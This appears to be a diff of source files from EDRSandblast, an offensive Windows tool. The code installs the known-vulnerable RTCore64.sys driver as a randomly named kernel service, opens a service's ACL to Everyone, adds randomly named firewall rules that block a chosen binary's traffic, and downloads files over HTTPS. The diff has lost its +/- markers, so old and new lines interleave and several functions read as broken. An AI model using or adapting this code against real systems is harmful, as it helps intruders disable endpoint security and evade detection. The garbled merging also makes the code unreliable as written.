SERVICE_QUERY_STATUS | SERVICE_QUERY_CONFIG | SERVICE_INTERROGATE | SERVICE_ENUMERATE_DEPENDENTS | SERVICE_PAUSE_CONTINUE | SERVICE_START | SERVICE_STOP | SERVICE_USER_DEFINED_CONTROL | READ_CONTROL,
|
||||
SET_ACCESS,
|
||||
NO_INHERITANCE,
|
||||
{NULL, NO_MULTIPLE_TRUSTEE, TRUSTEE_IS_SID, TRUSTEE_IS_WELL_KNOWN_GROUP, NULL}
|
||||
};
|
||||
|
||||
if (!QueryServiceObjectSecurity(serviceHandle, DACL_SECURITY_INFORMATION, &dummySdForXP, 0, &dwSizeNeeded) && (GetLastError() == ERROR_INSUFFICIENT_BUFFER)) {
|
||||
oldSd = (PSECURITY_DESCRIPTOR)LocalAlloc(LPTR, dwSizeNeeded);
|
||||
if (oldSd) {
|
||||
if (QueryServiceObjectSecurity(serviceHandle, DACL_SECURITY_INFORMATION, oldSd, dwSizeNeeded, &dwSizeNeeded)) {
|
||||
if (AllocateAndInitializeSid(&SIDAuthWorld, 1, SECURITY_WORLD_RID, 0, 0, 0, 0, 0, 0, 0, (PSID*)&ForEveryoneACL.Trustee.ptstrName)) {
|
||||
|
||||
if (BuildSecurityDescriptor(NULL, NULL, 1, &ForEveryoneACL, 0, NULL, oldSd, &dwSizeNeeded, &newSd) == ERROR_SUCCESS) {
|
||||
status = SetServiceObjectSecurity(serviceHandle, DACL_SECURITY_INFORMATION, newSd);
|
||||
LocalFree(newSd);
|
||||
}
|
||||
|
||||
FreeSid(ForEveryoneACL.Trustee.ptstrName);
|
||||
}
|
||||
}
|
||||
LocalFree(oldSd);
|
||||
}
|
||||
}
|
||||
return status;
|
||||
}
|
||||
|
||||
DWORD ServiceInstall(PCTSTR serviceName, PCTSTR displayName, PCTSTR binPath, DWORD serviceType, DWORD startType, BOOL startIt) {
|
||||
SC_HANDLE hSC = NULL, hS = NULL;
|
||||
|
||||
hSC = OpenSCManager(NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_CONNECT | SC_MANAGER_CREATE_SERVICE);
|
||||
if (hSC) {
|
||||
hS = OpenService(hSC, serviceName, SERVICE_START);
|
||||
if (hS) {
|
||||
_tprintf(TEXT("[+] \'%s\' service already registered\n"), serviceName);
|
||||
}
|
||||
|
||||
else {
|
||||
if (GetLastError() == ERROR_SERVICE_DOES_NOT_EXIST) {
|
||||
_tprintf(TEXT("[*] \'%s\' service not present\n"), serviceName);
|
||||
|
||||
hS = CreateService(hSC, serviceName, displayName, READ_CONTROL | WRITE_DAC | SERVICE_START, serviceType, startType, SERVICE_ERROR_NORMAL, binPath, NULL, NULL, NULL, NULL, NULL);
|
||||
|
||||
if (hS) {
|
||||
_tprintf(TEXT("[+] \'%s\' service successfully registered\n"), serviceName);
|
||||
if (ServiceAddEveryoneAccess(hS)) {
|
||||
_tprintf(TEXT("[+] \'%s\' service ACL to everyone\n"), serviceName);
|
||||
}
|
||||
else {
|
||||
_tprintf(TEXT("[!] ServiceAddEveryoneAccess"));
|
||||
}
|
||||
}
|
||||
else {
|
||||
PRINT_ERROR_AUTO(TEXT("CreateService"));
|
||||
}
|
||||
}
|
||||
else {
|
||||
PRINT_ERROR_AUTO(TEXT("OpenService"));
|
||||
}
|
||||
}
|
||||
|
||||
if (hS) {
|
||||
if (startIt) {
|
||||
if (StartService(hS, 0, NULL)) {
|
||||
_tprintf(TEXT("[+] \'%s\' service started\n"), serviceName);
|
||||
}
|
||||
else if (GetLastError() == ERROR_SERVICE_ALREADY_RUNNING) {
|
||||
_tprintf(TEXT("[*] \'%s\' service already started\n"), serviceName);
|
||||
}
|
||||
else {
|
||||
PRINT_ERROR_AUTO(TEXT("StartService"));
|
||||
return GetLastError();
|
||||
}
|
||||
}
|
||||
CloseServiceHandle(hS);
|
||||
}
|
||||
CloseServiceHandle(hSC);
|
||||
}
|
||||
|
||||
else {
|
||||
PRINT_ERROR_AUTO(TEXT("OpenSCManager(create)"));
|
||||
return GetLastError();
|
||||
}
|
||||
return 0x0;
|
||||
}
|
||||
|
||||
BOOL ServiceGenericControl(PCTSTR serviceName, DWORD dwDesiredAccess, DWORD dwControl, LPSERVICE_STATUS ptrServiceStatus) {
|
||||
BOOL status = FALSE;
|
||||
SC_HANDLE hSC, hS;
|
||||
SERVICE_STATUS serviceStatus;
|
||||
|
||||
hSC = OpenSCManager(NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_CONNECT);
|
||||
if (hSC) {
|
||||
hS = OpenService(hSC, serviceName, dwDesiredAccess);
|
||||
if (hS) {
|
||||
status = ControlService(hS, dwControl, ptrServiceStatus ? ptrServiceStatus : &serviceStatus);
|
||||
CloseServiceHandle(hS);
|
||||
}
|
||||
CloseServiceHandle(hSC);
|
||||
}
|
||||
return status;
|
||||
}
|
||||
|
||||
BOOL ServiceUninstall(PCTSTR serviceName, DWORD attemptCount) {
|
||||
|
||||
// Used as a stop point for recursive calls to ServiceUninstall.
|
||||
if (attemptCount > MAX_UNINSTALL_ATTEMPTS) {
|
||||
_tprintf(TEXT("[!] Reached maximun number of attempts (%i) to uninstall the service \'%s\'\n"), MAX_UNINSTALL_ATTEMPTS, serviceName);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
if (ServiceGenericControl(serviceName, SERVICE_STOP, SERVICE_CONTROL_STOP, NULL)) {
|
||||
_tprintf(TEXT("[+] \'%s\' service stopped\n"), serviceName);
|
||||
}
|
||||
else if (GetLastError() == ERROR_SERVICE_NOT_ACTIVE) {
|
||||
_tprintf(TEXT("[*] \'%s\' service not running\n"), serviceName);
|
||||
}
|
||||
else if (GetLastError() == ERROR_SERVICE_CANNOT_ACCEPT_CTRL) {
|
||||
_tprintf(TEXT("[*] \'%s\' service cannot accept control messages at this time, waiting...\n"), serviceName);
|
||||
Sleep(OP_SLEEP_TIME);
|
||||
}
|
||||
else {
|
||||
PRINT_ERROR_AUTO(TEXT("ServiceUninstall"));
|
||||
Sleep(OP_SLEEP_TIME);
|
||||
return ServiceUninstall(serviceName, attemptCount + 1);
|
||||
}
|
||||
|
||||
SERVICE_STATUS status;
|
||||
BOOL deleted = FALSE;
|
||||
SC_HANDLE hSC = OpenSCManager(NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_CONNECT);
|
||||
if (hSC) {
|
||||
SC_HANDLE hS = OpenService(hSC, serviceName, SERVICE_QUERY_STATUS | DELETE);
|
||||
if (hS) {
|
||||
if (QueryServiceStatus(hS, &status)) {
|
||||
if (!(status.dwCurrentState == SERVICE_STOPPED)) {
|
||||
CloseServiceHandle(hS);
|
||||
CloseServiceHandle(hSC);
|
||||
Sleep(OP_SLEEP_TIME);
|
||||
return ServiceUninstall(serviceName, attemptCount + 1);
|
||||
}
|
||||
else {
|
||||
deleted = DeleteService(hS);
|
||||
CloseServiceHandle(hS);
|
||||
}
|
||||
}
|
||||
}
|
||||
CloseServiceHandle(hSC);
|
||||
}
|
||||
if (!deleted) {
|
||||
Sleep(OP_SLEEP_TIME);
|
||||
return ServiceUninstall(serviceName, attemptCount + 1);
|
||||
}
|
||||
return deleted;
|
||||
}
|
||||
|
||||
|
||||
#include "../EDRSandblast.h"
|
||||
#include "StringUtils.h"
|
||||
#include "WindowsServiceOps.h"
|
||||
/*
|
||||
|
||||
--- Vulnerable Micro-Star MSI Afterburner driver install / uninstall functions.
|
||||
--- The "RTCore64.sys" (SHA256: 01AA278B07B58DC46C84BD0B1B5C8E9EE4E62EA0BF7A695862444AF32E87F1FD) file must be present in the current directory if --driver is not specified.
|
||||
--- Vulnerable driver install / uninstall functions.
|
||||
|
||||
*/
|
||||
|
||||
static TCHAR* randString(TCHAR* str, size_t size) {
|
||||
srand((unsigned int) time(0));
|
||||
|
||||
const char charset[] = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ123456789";
|
||||
if (size) {
|
||||
for (size_t n = 0; n < size; n++) {
|
||||
int key = rand() % (int)(sizeof charset - 1);
|
||||
str[n] = charset[key];
|
||||
}
|
||||
str[size] = '\0';
|
||||
TCHAR* g_driverServiceName;
|
||||
|
||||
TCHAR* GetDriverServiceName(void) {
|
||||
if (!g_driverServiceName || _tcslen(g_driverServiceName) == 0) {
|
||||
g_driverServiceName = allocAndGenerateRandomString(SERVICE_NAME_LENGTH);
|
||||
}
|
||||
return str;
|
||||
return g_driverServiceName;
|
||||
}
|
||||
|
||||
|
||||
TCHAR* serviceName;
|
||||
|
||||
TCHAR* GetServiceName(void) {
|
||||
if (!serviceName || _tcslen(serviceName) == 0) {
|
||||
serviceName = calloc(SERVICE_NAME_LENGTH, sizeof(TCHAR));
|
||||
randString(serviceName, SERVICE_NAME_LENGTH);
|
||||
void SetDriverServiceName(_In_z_ TCHAR *newName) {
|
||||
if (g_driverServiceName) {
|
||||
free(g_driverServiceName);
|
||||
}
|
||||
return serviceName;
|
||||
}
|
||||
g_driverServiceName = _tcsdup(newName);
|
||||
|
||||
void SetServiceName(TCHAR *newName, size_t szNewName) {
|
||||
if (serviceName) {
|
||||
free(serviceName);
|
||||
}
|
||||
serviceName = (TCHAR*) calloc(szNewName, sizeof(TCHAR));
|
||||
|
||||
if (!serviceName) {
|
||||
_tprintf(TEXT("[!] Error while attempting to set the service name.\n"));
|
||||
if (!g_driverServiceName) {
|
||||
_putts_or_not(TEXT("[!] Error while attempting to set the service name."));
|
||||
return;
|
||||
}
|
||||
|
||||
_tcscpy_s(serviceName, szNewName, newName);
|
||||
}
|
||||
|
||||
BOOL InstallVulnerableDriver(TCHAR* driverPath) {
|
||||
TCHAR* svcName = GetServiceName();
|
||||
TCHAR* svcName = GetDriverServiceName();
|
||||
|
||||
DWORD status = ServiceInstall(svcName, svcName, driverPath, SERVICE_KERNEL_DRIVER, SERVICE_AUTO_START, TRUE);
|
||||
|
||||
if (status == 0x00000005) {
|
||||
_tprintf(TEXT("[!] 0x00000005 - Access Denied when attempting to install the driver - Did you run as administrator?\n"));
|
||||
_putts_or_not(TEXT("[!] 0x00000005 - Access Denied when attempting to install the driver - Did you run as administrator?"));
|
||||
}
|
||||
|
||||
return status == 0x0;
|
||||
}
|
||||
|
||||
BOOL UninstallVulnerableDriver(void) {
|
||||
TCHAR* svcName = GetServiceName();
|
||||
TCHAR* svcName = GetDriverServiceName();
|
||||
|
||||
BOOL status = ServiceUninstall(svcName, 0);
|
||||
|
||||
@@ -243,3 +66,52 @@ BOOL UninstallVulnerableDriver(void) {
|
||||
|
||||
return status;
|
||||
}
|
||||
|
||||
BOOL IsDriverServiceRunning(LPTSTR driverPath, LPTSTR* serviceName) {
|
||||
SC_HANDLE hSCM = OpenSCManager(NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_ENUMERATE_SERVICE | SC_MANAGER_CONNECT);
|
||||
BOOL isRunning = FALSE;
|
||||
if (hSCM) {
|
||||
DWORD cbBufSize, cbBytesNeeded;
|
||||
DWORD nbServices;
|
||||
BOOL bRes = EnumServicesStatusEx(hSCM, SC_ENUM_PROCESS_INFO, SERVICE_DRIVER, SERVICE_STATE_ALL, NULL, 0, &cbBytesNeeded, &nbServices, NULL, NULL);
|
||||
if (!bRes && GetLastError() == ERROR_MORE_DATA) {
|
||||
ENUM_SERVICE_STATUS_PROCESS* services = calloc(1, cbBytesNeeded);
|
||||
if (services){
|
||||
cbBufSize = cbBytesNeeded;
|
||||
bRes = EnumServicesStatusEx(hSCM, SC_ENUM_PROCESS_INFO, SERVICE_DRIVER, SERVICE_STATE_ALL, (LPBYTE)services, cbBufSize, &cbBytesNeeded, &nbServices, NULL, NULL);
|
||||
if (bRes) {
|
||||
for (DWORD i = 0; i < nbServices; i++) {
|
||||
SC_HANDLE hS = OpenService(hSCM, services[i].lpServiceName, SERVICE_QUERY_CONFIG);
|
||||
if (hS && _tcscmp(services[i].lpServiceName, GetDriverServiceName())) {
|
||||
bRes = QueryServiceConfig(hS, NULL, 0, &cbBytesNeeded);
|
||||
if (!bRes && GetLastError() == ERROR_INSUFFICIENT_BUFFER) {
|
||||
QUERY_SERVICE_CONFIG* serviceConfig = calloc(1, cbBytesNeeded);
|
||||
if (serviceConfig) {
|
||||
cbBufSize = cbBytesNeeded;
|
||||
bRes = QueryServiceConfig(hS, serviceConfig, cbBufSize, &cbBytesNeeded);
|
||||
if (bRes) {
|
||||
if (!_tcscmp(PathFindFileName(serviceConfig->lpBinaryPathName), PathFindFileName(driverPath))) {
|
||||
isRunning = TRUE;
|
||||
if (serviceName) {
|
||||
*serviceName = _tcsdup(services[i].lpServiceName);
|
||||
}
|
||||
}
|
||||
}
|
||||
free(serviceConfig);
|
||||
}
|
||||
}
|
||||
CloseServiceHandle(hS);
|
||||
}
|
||||
}
|
||||
}
|
||||
free(services);
|
||||
}
|
||||
}
|
||||
CloseServiceHandle(hSCM);
|
||||
}
|
||||
else {
|
||||
PRINT_ERROR_AUTO(TEXT("OpenSCManager(create)"));
|
||||
return FALSE;
|
||||
}
|
||||
return isRunning;
|
||||
}
|
||||
|
||||
@@ -0,0 +1,52 @@
|
||||
#include <Windows.h>
|
||||
|
||||
/*
|
||||
* Dumps the full content of a single file into a newly allocated buffer
|
||||
*/
|
||||
PBYTE ReadFullFileW(LPCWSTR fileName) {
|
||||
HANDLE hFile = CreateFileW(fileName, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
|
||||
if (hFile == INVALID_HANDLE_VALUE) {
|
||||
return NULL;
|
||||
}
|
||||
DWORD fileSize = GetFileSize(hFile, NULL);
|
||||
PBYTE fileContent = malloc(fileSize);
|
||||
DWORD bytesRead = 0;
|
||||
if (!ReadFile(hFile, fileContent, fileSize, &bytesRead, NULL) || bytesRead != fileSize) {
|
||||
free(fileContent);
|
||||
fileContent = NULL;
|
||||
}
|
||||
CloseHandle(hFile);
|
||||
return fileContent;
|
||||
}
|
||||
|
||||
|
||||
/*
|
||||
* Checks is a file extists (and is not a directory)
|
||||
*/
|
||||
BOOL FileExistsW(LPCWSTR szPath)
|
||||
{
|
||||
DWORD dwAttrib = GetFileAttributesW(szPath);
|
||||
|
||||
return (dwAttrib != INVALID_FILE_ATTRIBUTES &&
|
||||
!(dwAttrib & FILE_ATTRIBUTE_DIRECTORY));
|
||||
}
|
||||
BOOL FileExistsA(LPCSTR szPath)
|
||||
{
|
||||
DWORD dwAttrib = GetFileAttributesA(szPath);
|
||||
|
||||
return (dwAttrib != INVALID_FILE_ATTRIBUTES &&
|
||||
!(dwAttrib & FILE_ATTRIBUTE_DIRECTORY));
|
||||
}
|
||||
|
||||
/*
|
||||
* Dumps the content of a buffer into a new file
|
||||
*/
|
||||
BOOL WriteFullFileW(LPCWSTR fileName, PBYTE fileContent, SIZE_T fileSize) {
|
||||
HANDLE hFile = CreateFileW(fileName, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
|
||||
if (hFile == INVALID_HANDLE_VALUE) {
|
||||
return FALSE;
|
||||
}
|
||||
BOOL res = WriteFile(hFile, fileContent, (DWORD)fileSize, NULL, NULL);
|
||||
CloseHandle(hFile);
|
||||
return res;
|
||||
}
|
||||
@@ -6,6 +6,8 @@
|
||||
#include <Tchar.h>
|
||||
#include <stdio.h>
|
||||
|
||||
#include "../EDRSandblast.h"
|
||||
|
||||
#include "FileVersion.h"
|
||||
|
||||
void GetFileVersion(TCHAR* buffer, SIZE_T bufferLen, TCHAR* filename) {
|
||||
@@ -19,7 +21,7 @@ void GetFileVersion(TCHAR* buffer, SIZE_T bufferLen, TCHAR* filename) {
|
||||
LPTSTR verData = (LPTSTR)calloc(verSize, 1);
|
||||
|
||||
if (!verData) {
|
||||
_tprintf(TEXT("[!] Couldn't allocate memory to retrieve version data\n"));
|
||||
_putts_or_not(TEXT("[!] Couldn't allocate memory to retrieve version data"));
|
||||
return;
|
||||
}
|
||||
|
||||
@@ -31,7 +33,7 @@ void GetFileVersion(TCHAR* buffer, SIZE_T bufferLen, TCHAR* filename) {
|
||||
DWORD majorVersion = (verInfo->dwFileVersionLS >> 16) & 0xffff;
|
||||
DWORD minorVersion = (verInfo->dwFileVersionLS >> 0) & 0xffff;
|
||||
_stprintf_s(buffer, bufferLen, TEXT("%ld-%ld"), majorVersion, minorVersion);
|
||||
// _tprintf(TEXT("File Version: %d.%d\n"), majorVersion, minorVersion);
|
||||
// _tprintf_or_not(TEXT("File Version: %d.%d\n"), majorVersion, minorVersion);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -39,34 +41,3 @@ void GetFileVersion(TCHAR* buffer, SIZE_T bufferLen, TCHAR* filename) {
|
||||
free(verData);
|
||||
}
|
||||
}
|
||||
|
||||
void GetNtoskrnlVersion(TCHAR* ntoskrnlVersion) {
|
||||
// Retrieves the system folder (eg C:\Windows\System32).
|
||||
TCHAR systemDirectory[MAX_PATH] = { 0 };
|
||||
GetSystemDirectory(systemDirectory, _countof(systemDirectory));
|
||||
|
||||
// Compute ntoskrnl.exe path.
|
||||
TCHAR ntoskrnlPath[MAX_PATH] = { 0 };
|
||||
_tcscat_s(ntoskrnlPath, _countof(ntoskrnlPath), systemDirectory);
|
||||
_tcscat_s(ntoskrnlPath, _countof(ntoskrnlPath), TEXT("\\ntoskrnl.exe"));
|
||||
|
||||
TCHAR versionBuffer[256] = { 0 };
|
||||
GetFileVersion(versionBuffer, _countof(versionBuffer), ntoskrnlPath);
|
||||
_stprintf_s(ntoskrnlVersion, 256, TEXT("ntoskrnl_%s.exe"), versionBuffer);
|
||||
}
|
||||
|
||||
void GetWdigestVersion(TCHAR* wdigestVersion) {
|
||||
// Retrieves the system folder (eg C:\Windows\System32).
|
||||
TCHAR systemDirectory[MAX_PATH] = { 0 };
|
||||
GetSystemDirectory(systemDirectory, _countof(systemDirectory));
|
||||
|
||||
// Compute ntoskrnl.exe path.
|
||||
TCHAR wdigestPath[MAX_PATH] = { 0 };
|
||||
_tcscat_s(wdigestPath, _countof(wdigestPath), systemDirectory);
|
||||
_tcscat_s(wdigestPath, _countof(wdigestPath), TEXT("\\wdigest.dll"));
|
||||
|
||||
TCHAR versionBuffer[256] = { 0 };
|
||||
GetFileVersion(versionBuffer, _countof(versionBuffer), wdigestPath);
|
||||
|
||||
_stprintf_s(wdigestVersion, 256, TEXT("wdigest_%s.dll"), versionBuffer);
|
||||
}
|
||||
@@ -0,0 +1,222 @@
|
||||
extern "C" {
|
||||
#include "../EDRSandblast.h"
|
||||
#include "FirewallOps.h"
|
||||
}
|
||||
|
||||
HRESULT ComInitNetFwPolicy2(INetFwPolicy2** ppNetFwPolicy2) {
|
||||
HRESULT hrStatus = S_OK;
|
||||
|
||||
hrStatus = CoInitializeEx(0, COINIT_APARTMENTTHREADED);
|
||||
|
||||
// Ignore RPC_E_CHANGED_MODE (Microsoft documentation stating that the existing mode does not matter).
|
||||
if (hrStatus != RPC_E_CHANGED_MODE && FAILED(hrStatus)) {
|
||||
_tprintf_or_not(TEXT("[!] Error while initializing COM (CoInitializeEx failed: 0x%08lx)\n"), hrStatus);
|
||||
return hrStatus;
|
||||
}
|
||||
|
||||
hrStatus = CoCreateInstance(__uuidof(NetFwPolicy2), NULL, CLSCTX_INPROC_SERVER, __uuidof(INetFwPolicy2), (void**)ppNetFwPolicy2);
|
||||
if (FAILED(hrStatus)) {
|
||||
_tprintf_or_not(TEXT("[!] Error while initializing the INetFwPolicy2 interface (CoCreateInstance for INetFwPolicy2 failed: 0x%08lx)\n"), hrStatus);
|
||||
return hrStatus;
|
||||
}
|
||||
|
||||
return hrStatus;
|
||||
}
|
||||
|
||||
extern "C" HRESULT IsFirewallEnabled(BOOL* firewallIsOn);
|
||||
HRESULT IsFirewallEnabled(BOOL* firewallIsOn) {
|
||||
HRESULT hrComInit = E_FAIL;
|
||||
HRESULT hrStatus = S_OK;
|
||||
|
||||
INetFwPolicy2* pNetFwPolicy2 = NULL;
|
||||
long CurrentProfilesBitMask = 0;
|
||||
VARIANT_BOOL vbFirewallsEnabled = VARIANT_TRUE;
|
||||
VARIANT_BOOL vbFirewallProfileEnabled = VARIANT_FALSE;
|
||||
|
||||
struct ProfileMapElement {
|
||||
NET_FW_PROFILE_TYPE2 Id;
|
||||
LPCWSTR Name;
|
||||
};
|
||||
|
||||
ProfileMapElement ProfileMap[3];
|
||||
ProfileMap[0].Id = NET_FW_PROFILE2_DOMAIN;
|
||||
ProfileMap[0].Name = L"Domain";
|
||||
ProfileMap[1].Id = NET_FW_PROFILE2_PRIVATE;
|
||||
ProfileMap[1].Name = L"Private";
|
||||
ProfileMap[2].Id = NET_FW_PROFILE2_PUBLIC;
|
||||
ProfileMap[2].Name = L"Public";
|
||||
|
||||
hrComInit = ComInitNetFwPolicy2(&pNetFwPolicy2);
|
||||
if (FAILED(hrComInit)) {
|
||||
hrStatus = E_FAIL;
|
||||
goto cleanup;
|
||||
}
|
||||
|
||||
hrStatus = pNetFwPolicy2->get_CurrentProfileTypes(&CurrentProfilesBitMask);
|
||||
if (FAILED(hrStatus)) {
|
||||
_tprintf_or_not(TEXT("[!] Could not determine Firewall status (failed to get the active Firewall profiles - get_CurrentProfileTypes failed: 0x%08lx)\n"), hrStatus);
|
||||
goto cleanup;
|
||||
}
|
||||
|
||||
for (DWORD i = 0; i < 3; i++) {
|
||||
if (CurrentProfilesBitMask & ProfileMap[i].Id) {
|
||||
hrStatus = pNetFwPolicy2->get_FirewallEnabled(ProfileMap[i].Id, &vbFirewallProfileEnabled);
|
||||
if (FAILED(hrStatus)) {
|
||||
wprintf_or_not(L"[!] Could not determine Firewall status (failed to retrieve FirewallEnabled settings for %s profile - get_FirewallEnabled failed: 0x%08lx)\n", ProfileMap[i].Name, hrStatus);
|
||||
goto cleanup;
|
||||
}
|
||||
if (vbFirewallProfileEnabled == VARIANT_FALSE) {
|
||||
wprintf_or_not(L"[*] The Windows Firewall is off on the (active) '%s' profile.\n", ProfileMap[i].Name);
|
||||
vbFirewallsEnabled = VARIANT_FALSE;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
*firewallIsOn = (BOOL)(vbFirewallsEnabled == VARIANT_TRUE);
|
||||
|
||||
cleanup:
|
||||
if (pNetFwPolicy2) {
|
||||
pNetFwPolicy2->Release();
|
||||
pNetFwPolicy2 = NULL;
|
||||
}
|
||||
|
||||
if (SUCCEEDED(hrComInit)) {
|
||||
CoUninitialize();
|
||||
}
|
||||
|
||||
return hrStatus;
|
||||
}
|
||||
|
||||
extern "C" HRESULT CreateFirewallRuleBlockBinary(TCHAR* binaryPath, NET_FW_RULE_DIRECTION direction, TCHAR* ruleName);
|
||||
HRESULT CreateFirewallRuleBlockBinary(TCHAR* binaryPath, NET_FW_RULE_DIRECTION direction, TCHAR* ruleName) {
|
||||
HRESULT hrComInit = E_FAIL;
|
||||
HRESULT hrStatus = S_OK;
|
||||
|
||||
INetFwPolicy2* pNetFwPolicy2 = NULL;
|
||||
INetFwRules* pFwRules = NULL;
|
||||
INetFwRule* pFwRule = NULL;
|
||||
|
||||
BSTR bstrRuleName = NULL;
|
||||
BSTR bstrRuleDescription = NULL;
|
||||
BSTR bstrRuleApplication = NULL;
|
||||
|
||||
hrComInit = ComInitNetFwPolicy2(&pNetFwPolicy2);
|
||||
if (FAILED(hrComInit)) {
|
||||
hrStatus = E_FAIL;
|
||||
goto cleanup;
|
||||
}
|
||||
|
||||
// Rules parameters.
|
||||
generateRandomString(ruleName, FW_RULE_NAME_MAX_LENGTH);
|
||||
bstrRuleName = SysAllocString(ruleName);
|
||||
bstrRuleDescription = SysAllocString(ruleName);
|
||||
bstrRuleApplication = SysAllocString(binaryPath);
|
||||
|
||||
// hrStatus = pNetFwPolicy2->get_Rules(&pFwRules);
|
||||
hrStatus = pNetFwPolicy2->get_Rules(&pFwRules);
|
||||
if (FAILED(hrStatus)) {
|
||||
_tprintf_or_not(TEXT("[!] Could not retrieve current Firewall rules (pNetFwPolicy2->get_Rules failed: 0x%08lx).\n"), hrStatus);
|
||||
goto cleanup;
|
||||
}
|
||||
|
||||
// Create a new Firewall Rule object.
|
||||
hrStatus = CoCreateInstance(__uuidof(NetFwRule), NULL, CLSCTX_INPROC_SERVER, __uuidof(INetFwRule), (void**)&pFwRule);
|
||||
if (FAILED(hrStatus)) {
|
||||
_tprintf_or_not(TEXT("[!] Error while attempting to initiate the INetFwRule (CoCreateInstance failed: 0x%08lx).\n"), hrStatus);
|
||||
goto cleanup;
|
||||
}
|
||||
|
||||
// Populates the rule's parameters.
|
||||
pFwRule->put_Name(bstrRuleName);
|
||||
pFwRule->put_Description(bstrRuleDescription);
|
||||
pFwRule->put_ApplicationName(bstrRuleApplication);
|
||||
pFwRule->put_Protocol(NET_FW_IP_PROTOCOL_ANY);
|
||||
pFwRule->put_Direction(direction);
|
||||
pFwRule->put_Profiles(FW_PROFILE_TYPE_ALL);
|
||||
pFwRule->put_Action(NET_FW_ACTION_BLOCK);
|
||||
pFwRule->put_Enabled(VARIANT_TRUE);
|
||||
|
||||
// Add the new rule.
|
||||
hrStatus = pFwRules->Add(pFwRule);
|
||||
if (FAILED(hrStatus)) {
|
||||
_tprintf_or_not(TEXT("[!] Error while adding the firewall blocking rule for %s (INetFwRule->Add failed: 0x%08lx)\n"), binaryPath, hrStatus);
|
||||
}
|
||||
|
||||
cleanup:
|
||||
|
||||
if (pFwRule) {
|
||||
pFwRule->Release();
|
||||
}
|
||||
|
||||
if (pFwRules) {
|
||||
pFwRules->Release();
|
||||
}
|
||||
|
||||
if (pNetFwPolicy2) {
|
||||
pNetFwPolicy2->Release();
|
||||
}
|
||||
|
||||
if (bstrRuleName) {
|
||||
SysFreeString(bstrRuleName);
|
||||
bstrRuleName = NULL;
|
||||
}
|
||||
|
||||
if (bstrRuleDescription) {
|
||||
SysFreeString(bstrRuleDescription);
|
||||
bstrRuleDescription = NULL;
|
||||
|
||||
}
|
||||
|
||||
if (bstrRuleApplication) {
|
||||
SysFreeString(bstrRuleApplication);
|
||||
bstrRuleApplication = NULL;
|
||||
}
|
||||
|
||||
if (SUCCEEDED(hrComInit)) {
|
||||
CoUninitialize();
|
||||
}
|
||||
|
||||
return hrStatus;
|
||||
}
|
||||
|
||||
extern "C" HRESULT DeleteFirewallRule(TCHAR* ruleName);
|
||||
HRESULT DeleteFirewallRule(TCHAR* ruleName) {
|
||||
HRESULT hrComInit = E_FAIL;
|
||||
HRESULT hrStatus = S_OK;
|
||||
|
||||
INetFwPolicy2* pNetFwPolicy2 = NULL;
|
||||
INetFwRules* pFwRules = NULL;
|
||||
|
||||
hrComInit = ComInitNetFwPolicy2(&pNetFwPolicy2);
|
||||
if (FAILED(hrComInit)) {
|
||||
hrStatus = E_FAIL;
|
||||
goto cleanup;
|
||||
}
|
||||
|
||||
hrStatus = pNetFwPolicy2->get_Rules(&pFwRules);
|
||||
if (FAILED(hrStatus)) {
|
||||
_tprintf_or_not(TEXT("[!] Could not retrieve current Firewall rules (pNetFwPolicy2->get_Rules: 0x%08lx).\n"), hrStatus);
|
||||
goto cleanup;
|
||||
}
|
||||
|
||||
hrStatus = pFwRules->Remove(ruleName);
|
||||
if (FAILED(hrStatus)) {
|
||||
_tprintf_or_not(TEXT("[!] Error while removing Firewall rule \"%s\" (failed with: 0x%08lx)\n"), ruleName, hrStatus);
|
||||
_tprintf_or_not(TEXT("[!] The rule can be removed manually using: netsh advfirewall firewall delete rule name=%s\n"), ruleName);
|
||||
}
|
||||
else {
|
||||
_tprintf_or_not(TEXT("[+] Successfully removed Firewall rule \"%s\"\n"), ruleName);
|
||||
}
|
||||
|
||||
cleanup:
|
||||
|
||||
if (pFwRules) {
|
||||
pFwRules->Release();
|
||||
}
|
||||
|
||||
if (SUCCEEDED(hrComInit)) {
|
||||
pNetFwPolicy2->Release();
|
||||
}
|
||||
|
||||
return hrStatus;
|
||||
}
|
||||
@@ -0,0 +1,121 @@
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <windows.h>
|
||||
#include <windef.h>
|
||||
#include <winhttp.h>
|
||||
|
||||
#include "../EDRSandblast.h"
|
||||
#include "HttpClient.h"
|
||||
|
||||
|
||||
BOOL HttpsDownloadFullFile(LPCWSTR domain, LPCWSTR uri, PBYTE* output, SIZE_T* output_size) {
|
||||
wprintf_or_not(L"Downloading https://%s%s...\n", domain, uri);
|
||||
// Get proxy configuration
|
||||
WINHTTP_CURRENT_USER_IE_PROXY_CONFIG proxyConfig;
|
||||
WinHttpGetIEProxyConfigForCurrentUser(&proxyConfig);
|
||||
BOOL proxySet = !(proxyConfig.fAutoDetect || proxyConfig.lpszAutoConfigUrl != NULL);
|
||||
DWORD proxyAccessType = proxySet ? ((proxyConfig.lpszProxy == NULL) ?
|
||||
WINHTTP_ACCESS_TYPE_NO_PROXY : WINHTTP_ACCESS_TYPE_NAMED_PROXY) : WINHTTP_ACCESS_TYPE_NO_PROXY;
|
||||
LPCWSTR proxyName = proxySet ? proxyConfig.lpszProxy : WINHTTP_NO_PROXY_NAME;
|
||||
LPCWSTR proxyBypass = proxySet ? proxyConfig.lpszProxyBypass : WINHTTP_NO_PROXY_BYPASS;
|
||||
|
||||
// Initialize HTTP session and request
|
||||
HINTERNET hSession = WinHttpOpen(L"WinHTTP/1.0", proxyAccessType, proxyName, proxyBypass, 0);
|
||||
if (hSession == NULL) {
|
||||
printf_or_not("WinHttpOpen failed with error : 0x%x\n", GetLastError());
|
||||
return FALSE;
|
||||
}
|
||||
HINTERNET hConnect = WinHttpConnect(hSession, domain, INTERNET_DEFAULT_HTTPS_PORT, 0);
|
||||
if (!hConnect) {
|
||||
printf_or_not("WinHttpConnect failed with error : 0x%x\n", GetLastError());
|
||||
return FALSE;
|
||||
}
